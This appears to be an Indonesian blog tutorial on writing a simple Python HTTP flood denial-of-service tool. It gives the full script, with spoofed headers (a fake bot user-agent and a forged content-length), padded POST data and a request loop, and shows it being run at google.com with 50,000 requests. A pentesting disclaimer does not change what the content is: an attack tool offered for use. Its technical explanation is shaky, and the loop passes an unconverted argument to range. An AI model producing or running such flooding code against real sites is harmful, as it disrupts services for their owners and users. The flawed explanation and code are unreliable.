BLANTERWISDOM101

Membuat Tool DoS Attack HTTP Flood Sederhana Menggunakan Python

Minggu, 02 Mei 2021


DoS Attack atau Serangan Denial of Service sangat banyak dilakukan oleh para penetration tester yang menguji kekuatan firewall serta server dalam menerima requests yang banyak.

Jika website terlalu lambat walaupun request yang diterima dapat dihitung dengan jari, patut dipertanyakan kapasitas dan kualitas server tersebut. Apalagi server murahan. Oke, kali ini saya mau membagikan cara membuat tool DoS Attacl sederhana menggunakan python dengan metode HTTP Flood.

Disclaimer

Tutorial ini saya buat karena banyaknya tool diluar sana yang merupakan "fake" program atau program tidak mengirimkan payload apapun pada server, dan jika adapun, para pembuat tool mengisi dengan trojan yang sudah terdeteksi pada sistem atau trojan yang lemah untuk dikirim, dan itu sangatlah tidak keren kawan. Buang - buang tenaga dan kuota saja, firewall website masih utuh.

Tetapi pada tutorial ini juga saya membuat program mengirimkan hanya sedikit data maka tidak cukup berbahaya pada sistem. Seperti yang dilakukan binnary exploitation hanya kecil dan secuil saja kita senggol sistemnya. Karena saya takut kalo beneran kirim data yang bahaya nanti banyak bocil sok jadi hacker serang - serang website sembarangan dan tidak punya etika.

Tool ini hanya untuk keperluan penetrasi testing pribadi, jadi utak atik lah sendiri jika kamu sudah paham dengan dunia penetrasi testing.

Apakah Metode HTTP Flood itu?

HTTP Flood adalah mengirimkan request yang biasanya menggunakan POST method dan menyertakan serangan terhadap header pada website. Dengan dan/atau tanpa menggunakan payload yang berbahaya, kamu dapat melakukan serangan ini apda server host website dengan mudah dan terbilang serangan ini cukup berbahaya.

Karena saat server menerima request dengan data yang tidak ditemukan, misal mengirimkan POST request dengan kueri login=admin pada index utama tersebut, dimana key "login" tidak terdapat dalam request server, ini dapat membingungkan respon server dan menyebabkannya mengalami masalah dalam penerimaan data.

Pembuatan Tool

Oke, langsung saja kita ngoding. Kita akan membuatnya menggunakan python3.

Module

Module yang digunakan adalah requests untuk mengirimkan request pada server, dan sys untuk mengambil input argumen. Jika requests belum diinstall maka install terlebih dahulu dengan menggunakan perintah "python -m pip install requests".

Membuat Syntax Main Function

Oke, sekarang ke main fungsi nya. Pertama, kita import terlebih dahulu module nya.

1
import requests,sys

Oke, jika sudah diimport kita buat variabel url dengan input argumen sys, lalu buat variabel untuk header, dan post data yang akan dikirimkan.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
import requests,sys

url = sys.argv[1]
h = {
  "content-length" : "1000000000000000000",
  "connection" : "close",
  "user-agent" : "GoogleBot V3",
  "x-forwarded-from" : "0.0.0.0",
  "content-type" : "application/xml",
  "set-cookie" : "v=xxxxXxxxxxx;&vx=#xxxxxxxxxxxxxxxx0x;;d;"
  }
data = {
  "X" : "xXxxX",
  "Y" : "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
  # tambahkan sendiri
  }

Jika kamu ingin menambahkan sendiri pada payload, gunakan perulangan huruf agar data menjadi banyak. Contoh:

data["Z"] = ("a" * 10000 + "b" * 10000 + "A" * 100)

Maka variabel data pada key "Z" akan menghasilkan aaaa...(10000x)bbb..(10000)AAA..(100x). Hal ini untuk menambah kekuatan serangan pada header.

Jika variabel dirasa sudah pas. Maka kita langsung eksekusi dengan mengirimkan POST data request pada server. Tambahkan secarik kode berikut di bawah syntax diatas.

for i in range(1,sys.argv[2]):
  r = requests.post(url,data=data,headers=h)
  print("Data {}, respon {}".format(i,r.status_code))


Maka selesai sudah beberapa sintaks kode sederhana yang kita buat. Kreasikan sendiri program sesuai keinginan kamu. Simpan program dengan "nama.py". Lalu jalankan dengan perintah:

python nama.py [url target (pake http/(s))] [jumlah request]

Contoh:

python dedos.py https://google.com 50000

Maka program akan menghasilkan output seperti berikut:

Data 1, respon 200
Data 2, respon 200
Data 3, respon 200
Data 4, respon 200
Data 5, respon 200
Data 6, respon 200
Data 7, respon 200 

Selesai sudah program tool sederhana untuk keperluan penetrasi testing yang kita buat. 

Share This :
Arya Kresna

Hanya seorang pelajar yang hobi nya membuat kode dan berharap karya nya bermanfaat bagi orang lain.

4 komentar